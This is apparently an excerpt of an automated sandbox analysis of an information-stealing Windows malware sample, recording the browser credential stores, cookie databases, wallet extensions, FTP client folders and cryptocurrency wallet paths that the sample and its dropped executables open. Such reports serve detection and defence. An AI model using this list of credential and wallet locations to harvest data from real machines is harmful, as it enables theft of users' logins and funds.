Source: file.exe, 00000000.00000003.1743164096.0000000001180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\walletsI
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000003.1743164096.0000000001180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.jsonETVy
Source: file.exe, 00000000.00000003.1743164096.0000000001180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: 9b7d422018.exe, 0000001F.00000003.2650632814.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: file.exe, 00000000.00000003.1743164096.0000000001180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum5b
Source: file.exe, 00000000.00000003.1832069842.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: firefox.exe, 00000015.00000003.2207149416.0000016C0CE09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: OSKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
